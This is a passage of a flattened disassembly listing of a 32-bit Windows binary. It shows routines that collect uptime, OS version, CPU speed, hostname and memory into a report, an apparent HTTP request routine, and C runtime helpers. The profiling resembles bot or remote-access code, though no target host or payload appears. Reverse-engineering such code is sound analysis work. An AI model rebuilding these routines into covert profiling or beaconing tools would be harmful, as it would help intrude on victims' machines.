mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41B980 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41A88B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8F4 proc near ; CODE XREF: sub_416F1A+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 26E05B4h test eax, eax jz short loc_41A987 cmp [ebp+var_90], 4 jnz short loc_41A95D cmp [ebp+var_8C], esi jnz short loc_41A945 cmp [ebp+var_84], 1 jnz short loc_41A938 push 1 pop esi loc_41A938: ; CODE XREF: sub_41A8F4+3Fj cmp [ebp+var_84], 2 jnz short loc_41A987 push 1 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A945: ; CODE XREF: sub_41A8F4+36j cmp [ebp+var_8C], 0Ah jnz short loc_41A952 loc_41A94E: ; CODE XREF: sub_41A8F4+78j push 2 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A952: ; CODE XREF: sub_41A8F4+58j cmp [ebp+var_8C], 5Ah jnz short loc_41A987 jmp short loc_41A977 ; --------------------------------------------------------------------------- loc_41A95D: ; CODE XREF: sub_41A8F4+2Ej cmp [ebp+var_90], 5 jnz short loc_41A987 cmp [ebp+var_8C], esi jz short loc_41A94E cmp [ebp+var_8C], 1 jnz short loc_41A97B loc_41A977: ; CODE XREF: sub_41A8F4+67j push 3 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A97B: ; CODE XREF: sub_41A8F4+81j cmp [ebp+var_8C], 2 jnz short loc_41A987 push 7 loc_41A986: ; CODE XREF: sub_41A8F4+4Fj ; sub_41A8F4+5Cj ... pop esi loc_41A987: ; CODE XREF: sub_41A8F4+25j ; sub_41A8F4+4Bj ... mov eax, esi pop esi leave retn sub_41A8F4 endp ; =============== S U B R O U T I N E ======================================= sub_41A98C proc near ; CODE XREF: sub_41AA42+290p push ebx push esi push edi mov esi, 0F4240h loc_41A994: ; CODE XREF: sub_41A98C+2Fj ; sub_41A98C+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 26903FCh rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41D410 mov edi, edx mov ebx, eax test edi, edi ja short loc_41A994 jb short loc_41A9C3 cmp ebx, esi ja short loc_41A994 loc_41A9C3: ; CODE XREF: sub_41A98C+31j push 0 push 64h push edi push ebx call sub_41D480 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AA36 jb short loc_41A9E2 cmp esi, 50h jnb short loc_41A9E7 loc_41A9E2: ; CODE XREF: sub_41A98C+4Fj push 4Bh xor edx, edx pop eax loc_41A9E7: ; CODE XREF: sub_41A98C+54j test ecx, ecx ja short loc_41AA36 jb short loc_41A9F2 cmp esi, 47h jnb short loc_41A9F7 loc_41A9F2: ; CODE XREF: sub_41A98C+5Fj push 42h xor edx, edx pop eax loc_41A9F7: ; CODE XREF: sub_41A98C+64j test ecx, ecx ja short loc_41AA36 jb short loc_41AA02 cmp esi, 37h jnb short loc_41AA07 loc_41AA02: ; CODE XREF: sub_41A98C+6Fj push 32h xor edx, edx pop eax loc_41AA07: ; CODE XREF: sub_41A98C+74j test ecx, ecx ja short loc_41AA36 jb short loc_41AA12 cmp esi, 26h jnb short loc_41AA17 loc_41AA12: ; CODE XREF: sub_41A98C+7Fj push 21h xor edx, edx pop eax loc_41AA17: ; CODE XREF: sub_41A98C+84j test ecx, ecx ja short loc_41AA36 jb short loc_41AA22 cmp esi, 1Eh jnb short loc_41AA27 loc_41AA22: ; CODE XREF: sub_41A98C+8Fj push 19h xor edx, edx pop eax loc_41AA27: ; CODE XREF: sub_41A98C+94j test ecx, ecx ja short loc_41AA36 jb short loc_41AA32 cmp esi, 0Ah jnb short loc_41AA36 loc_41AA32: ; CODE XREF: sub_41A98C+9Fj xor eax, eax xor edx, edx loc_41AA36: ; CODE XREF: sub_41A98C+4Dj ; sub_41A98C+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41A98C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA42 proc near ; CODE XREF: sub_401ACD+276Ep var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_43D128 mov [ebp+var_CC], 94h nop call near ptr 26E05B4h xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AAC9 cmp [ebp+var_C4], ebx jnz short loc_41AAA5 cmp [ebp+var_BC], 1 jnz short loc_41AA8F mov [ebp+var_4], offset dword_43127C loc_41AA8F: ; CODE XREF: sub_41AA42+44j cmp [ebp+var_BC], 2 jnz loc_41AB44 mov [ebp+var_4], offset dword_431278 jmp short loc_41AB15 ; --------------------------------------------------------------------------- loc_41AAA5: ; CODE XREF: sub_41AA42+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AAB7 mov [ebp+var_4], offset dword_431274 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAB7: ; CODE XREF: sub_41AA42+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AB05 mov [ebp+var_4], offset dword_431270 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAC9: ; CODE XREF: sub_41AA42+33j cmp [ebp+var_C8], 5 jnz short loc_41AB05 cmp [ebp+var_C4], ebx jnz short loc_41AAE3 mov [ebp+var_4], offset dword_43126C jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAE3: ; CODE XREF: sub_41AA42+96j cmp [ebp+var_C4], 1 jnz short loc_41AAF5 mov [ebp+var_4], offset dword_431268 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAF5: ; CODE XREF: sub_41AA42+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AB0C loc_41AB05: ; CODE XREF: sub_41AA42+7Cj ; sub_41AA42+8Ej mov [ebp+var_4], offset dword_431260 loc_41AB0C: ; CODE XREF: sub_41AA42+73j ; sub_41AA42+85j ... cmp [ebp+var_BC], 2 jnz short loc_41AB44 loc_41AB15: ; CODE XREF: sub_41AA42+61j cmp [ebp+var_B8], bl jz short loc_41AB44 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_1 ; "%s (%s)" push eax call sub_41B886 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41AB44: ; CODE XREF: sub_41AA42+54j ; sub_41AA42+D1j ... mov ax, word_437834 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CAE54 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41AB7D lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41AB7D: ; CODE XREF: sub_41AA42+12Cj push [ebp+arg_4] call sub_40AC0F pop ecx push eax call dword_4CAFB4 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CAF2C cmp eax, ebx jz short loc_41ABA6 push dword ptr [eax] jmp short loc_41ABAB ; --------------------------------------------------------------------------- loc_41ABA6: ; CODE XREF: sub_41AA42+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41ABAB: ; CODE XREF: sub_41AA42+162j lea eax, [ebp+var_3E4] push eax call sub_41B886 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2690000h lea eax, [ebp+var_114] push 46h push eax push offset dword_43A10C push ebx mov esi, 409h push ebx push esi nop call near ptr 2750000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 2740000h push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2880000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41B9D1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41A88B add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax call sub_41A98C push edx push eax push offset dword_43A030 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AA42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACF6 proc near ; CODE XREF: sub_401ACD+279Cp ; sub_401ACD+72F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41B590 add esp, 0Ch cmp dword_4CB05C, 0 jnz short loc_41AD62 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CAE38 test eax, eax jnz short loc_41AD4B lea eax, [ebp+var_8C] push offset dword_43A194 push eax call sub_41B886 pop ecx pop ecx loc_41AD4B: ; CODE XREF: sub_41ACF6+40j test [ebp+var_C], 1 jz short loc_41AD58 push offset dword_43A18C jmp short loc_41AD5D ; --------------------------------------------------------------------------- loc_41AD58: ; CODE XREF: sub_41ACF6+59j push offset off_43A188 loc_41AD5D: ; CODE XREF: sub_41ACF6+60j lea eax, [ebp+var_8] jmp short loc_41AD7A ; --------------------------------------------------------------------------- loc_41AD62: ; CODE XREF: sub_41ACF6+28j mov esi, offset off_43A184 lea eax, [ebp+var_8] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41AD7A: ; CODE XREF: sub_41ACF6+6Aj push eax call sub_41B886 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43A140 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41ACF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB5 proc near ; DATA XREF: sub_401ACD+7714o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A274 call sub_41B590 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41B590 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41B590 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41B590 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41B590 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CAE70 test eax, eax jz loc_41AF4F cmp [ebp+var_34], ebx jbe short loc_41AE8C push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41B5F0 add esp, 0Ch loc_41AE8C: ; CODE XREF: sub_41ADB5+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41AEAA push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEAA: ; CODE XREF: sub_41ADB5+DEj cmp [ebp+var_20], ebx jbe short loc_41AEC4 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41B5F0 add esp, 0Ch loc_41AEC4: ; CODE XREF: sub_41ADB5+F8j cmp [ebp+var_18], ebx jbe short loc_41AEDE push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEDE: ; CODE XREF: sub_41ADB5+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CAF24 call dword_4CAF48 mov esi, eax cmp esi, ebx jz short loc_41AF67 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CAF3C cmp eax, ebx mov [ebp+var_4], eax jz short loc_41AF6E push ebx push ebx push ebx push ebx push eax call dword_4CAEE8 test eax, eax jz short loc_41AF48 push offset dword_43A258 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF48: ; CODE XREF: sub_41ADB5+18Aj push offset unk_43A21C jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF4F: ; CODE XREF: sub_41ADB5+B7j lea eax, [ebp+var_55C] push offset dword_43A200 push eax call sub_41B886 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41AF81 ; --------------------------------------------------------------------------- loc_41AF67: ; CODE XREF: sub_41ADB5+153j push offset unk_43A1D4 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF6E: ; CODE XREF: sub_41ADB5+17Bj push offset unk_43A1A4 loc_41AF73: ; CODE XREF: sub_41ADB5+191j ; sub_41ADB5+198j ... lea eax, [ebp+var_55C] push eax call sub_41B886 pop ecx pop ecx loc_41AF81: ; CODE XREF: sub_41ADB5+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41AFAC push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409A72 add esp, 14h loc_41AFAC: ; CODE XREF: sub_41ADB5+1D2j lea eax, [ebp+var_55C] push eax call sub_4151AC pop ecx push esi call dword_4CAFA8 push [ebp+var_4] call dword_4CAFA8 push [ebp+var_1D8] call sub_40B412 pop ecx push ebx nop call near ptr 26F0000h pop edi pop esi pop ebx int 3 ; Trap to Debugger sub_41ADB5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B000 loc_41AFEC: ; CODE XREF: sub_41AFE0+19j mov al, [ecx] inc ecx test al, al jz short loc_41B033 test ecx, 3 jnz short loc_41AFEC add eax, 0 loc_41B000: ; CODE XREF: sub_41AFE0+Aj ; sub_41AFE0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B000 mov eax, [ecx-4] test al, al jz short loc_41B051 test ah, ah jz short loc_41B047 test eax, 0FF0000h jz short loc_41B03D test eax, 0FF000000h jz short loc_41B033 jmp short loc_41B000 ; --------------------------------------------------------------------------- loc_41B033: ; CODE XREF: sub_41AFE0+11j ; sub_41AFE0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B03D: ; CODE XREF: sub_41AFE0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B047: ; CODE XREF: sub_41AFE0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B051: ; CODE XREF: sub_41AFE0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41AFE0 endp ; =============== S U B R O U T I N E ======================================= sub_41B05B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+58DAp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B070 or eax, 0FFFFFFFFh jmp short loc_41B0AA ; --------------------------------------------------------------------------- loc_41B070: ; CODE XREF: sub_41B05B+Ej test al, 83h jz short loc_41B0A8 push esi call sub_41DB8B push esi mov edi, eax call sub_41DB25 push dword ptr [esi+10h] call sub_41DA72 add esp, 0Ch test eax, eax jge short loc_41B096 or edi, 0FFFFFFFFh jmp short loc_41B0A8 ; --------------------------------------------------------------------------- loc_41B096: ; CODE XREF: sub_41B05B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B0A8 push eax call sub_41B0B1 and dword ptr [esi+1Ch], 0 pop ecx loc_41B0A8: ; CODE XREF: sub_41B05B+17j ; sub_41B05B+39j ... mov eax, edi loc_41B0AA: ; CODE XREF: sub_41B05B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B05B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40AB31+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B117 mov eax, dword_4DC908 cmp eax, 3 jnz short loc_41B0DD push esi call sub_41DE77 pop ecx test eax, eax push esi jz short loc_41B109 push eax call sub_41DEA2 pop ecx pop ecx jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B0DD: ; CODE XREF: sub_41B0B1+14j cmp eax, 2 jnz short loc_41B108 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_41B108 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41EC29 add esp, 0Ch jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B108: ; CODE XREF: sub_41B0B1+2Fj ; sub_41B0B1+44j push esi loc_41B109: ; CODE XREF: sub_41B0B1+20j push 0 push dword_4DC904 call near ptr 27C0000h nop loc_41B117: ; CODE XREF: sub_41B0B1+Aj ; sub_41B0B1+2Aj ... pop esi leave retn sub_41B0B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B11A proc near ; CODE XREF: sub_4010AB+45p ; ___:0040F089p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B13E xor eax, eax jmp loc_41B1E7 ; --------------------------------------------------------------------------- loc_41B13E: ; CODE XREF: sub_41B11A+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B151 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B151: ; CODE XREF: sub_41B11A+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B15A: ; CODE XREF: sub_41B11A+C4j mov ecx, [ebp+arg_0] loc_41B15D: ; CODE XREF: sub_41B11A+35j ; sub_41B11A+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41B18F mov eax, [esi+4] test eax, eax jz short loc_41B18F cmp ecx, eax mov edi, ecx jb short loc_41B174 mov edi, eax loc_41B174: ; CODE XREF: sub_41B11A+56j push edi push dword ptr [esi] push ebx call sub_41C310 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B18F: ; CODE XREF: sub_41B11A+49j ; sub_41B11A+50j cmp ecx, [ebp+arg_C] jb short loc_41B1C2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41B1A5 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41B1A5: ; CODE XREF: sub_41B11A+80j push eax push ebx push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch test eax, eax jz short loc_41B1EC cmp eax, 0FFFFFFFFh jz short loc_41B1F2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B1C2: ; CODE XREF: sub_41B11A+78j push esi call sub_41F043 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B1F6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41B1DA: ; CODE XREF: sub_41B11A+73j ; sub_41B11A+A6j cmp [ebp+arg_0], 0 jnz loc_41B15A mov eax, [ebp+arg_8] loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj ; sub_41B11A+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41B1F6 ; --------------------------------------------------------------------------- loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj or dword ptr [esi+0Ch], 20h loc_41B1F6: ; CODE XREF: sub_41B11A+B2j ; sub_41B11A+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41B1E7 sub_41B11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41CFD3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41B21D push [ebp+arg_4] call sub_41B4D5 pop ecx jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B21D: ; CODE XREF: sub_41B202+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41B232 push [ebp+arg_0] call sub_41B0B1 pop ecx jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B232: ; CODE XREF: sub_41B202+20j mov eax, dword_4DC908 cmp eax, 3 jnz loc_41B342 loc_41B240: ; CODE XREF: sub_41B202+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B31E push [ebp+arg_0] call sub_41DE77 mov ebx, eax pop ecx test ebx, ebx jz loc_41B2F9 cmp esi, dword_4DC900 ja short loc_41B2B2 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41E680 add esp, 0Ch test eax, eax jnz short loc_41B2AE push esi call sub_41E1CB mov edi, eax pop ecx test edi, edi jz short loc_41B2B2 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41B292 mov eax, esi loc_41B292: ; CODE XREF: sub_41B202+8Cj push eax push ebx push edi call sub_41C310 push ebx call sub_41DE77 push [ebp+arg_0] mov ebx, eax push ebx call sub_41DEA2 add esp, 18h loc_41B2AE: ; CODE XREF: sub_41B202+74j test edi, edi jnz short loc_41B2F5 loc_41B2B2: ; CODE XREF: sub_41B202+62j ; sub_41B202+81j test esi, esi jnz short loc_41B2B9 push 1 pop esi loc_41B2B9: ; CODE XREF: sub_41B202+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DC904 call near ptr 27D0000h nop mov edi, eax test edi, edi jz short loc_41B2F5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41B2E1 mov eax, esi loc_41B2E1: ; CODE XREF: sub_41B202+DBj push eax push ecx push edi call sub_41C310 push [ebp+arg_0] push ebx call sub_41DEA2 add esp, 14h loc_41B2F5: ; CODE XREF: sub_41B202+AEj ; sub_41B202+D0j test ebx, ebx jnz short loc_41B31A loc_41B2F9: ; CODE XREF: sub_41B202+56j test esi, esi jnz short loc_41B300 push 1 pop esi loc_41B300: ; CODE XREF: sub_41B202+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC904 nop call near ptr 2890000h mov edi, eax loc_41B31A: ; CODE XREF: sub_41B202+F5j test edi, edi jnz short loc_41B33B loc_41B31E: ; CODE XREF: sub_41B202+43j cmp dword_4DB2FC, 0 jz short loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B240 jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B33B: ; CODE XREF: sub_41B202+11Aj ; sub_41B202+123j ... mov eax, edi jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B342: ; CODE XREF: sub_41B202+38j cmp eax, 2 jnz loc_41B45D cmp esi, 0FFFFFFE0h ja short loc_41B35F test esi, esi jbe short loc_41B35C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41B35F ; --------------------------------------------------------------------------- loc_41B35C: ; CODE XREF: sub_41B202+150j push 10h pop esi loc_41B35F: ; CODE XREF: sub_41B202+14Cj ; sub_41B202+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B43F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41EBD2 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41B423 cmp esi, dword_43C2F4 jnb short loc_41B3E7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EF9A add esp, 10h test eax, eax jz short loc_41B3AD mov edi, [ebp+arg_0] jmp short loc_41B3DF ; --------------------------------------------------------------------------- loc_41B3AD: ; CODE XREF: sub_41B202+1A4j push edi call sub_41EC6E mov edi, eax pop ecx test edi, edi jz short loc_41B3E7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B3C6 mov eax, esi loc_41B3C6: ; CODE XREF: sub_41B202+1C0j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h loc_41B3DF: ; CODE XREF: sub_41B202+1A9j test edi, edi jnz loc_41B33B loc_41B3E7: ; CODE XREF: sub_41B202+18Bj ; sub_41B202+1B6j push esi push 0 push dword_4DC904 call near ptr 27D0000h nop mov edi, eax test edi, edi jz short loc_41B43F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B408 mov eax, esi loc_41B408: ; CODE XREF: sub_41B202+202j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h jmp short loc_41B437 ; --------------------------------------------------------------------------- loc_41B423: ; CODE XREF: sub_41B202+17Fj push esi push [ebp+arg_0] push 0 push dword_4DC904 nop call near ptr 2890000h mov edi, eax loc_41B437: ; CODE XREF: sub_41B202+21Fj test edi, edi jnz loc_41B33B loc_41B43F: ; CODE XREF: sub_41B202+162j ; sub_41B202+1F8j cmp dword_4DB2FC, 0 jz loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B35F jmp short loc_41B49B ; --------------------------------------------------------------------------- loc_41B45D: ; CODE XREF: sub_41B202+143j ; sub_41B202+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41B487 test esi, esi jnz short loc_41B46B push 1 pop esi loc_41B46B: ; CODE XREF: sub_41B202+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC904 call near ptr 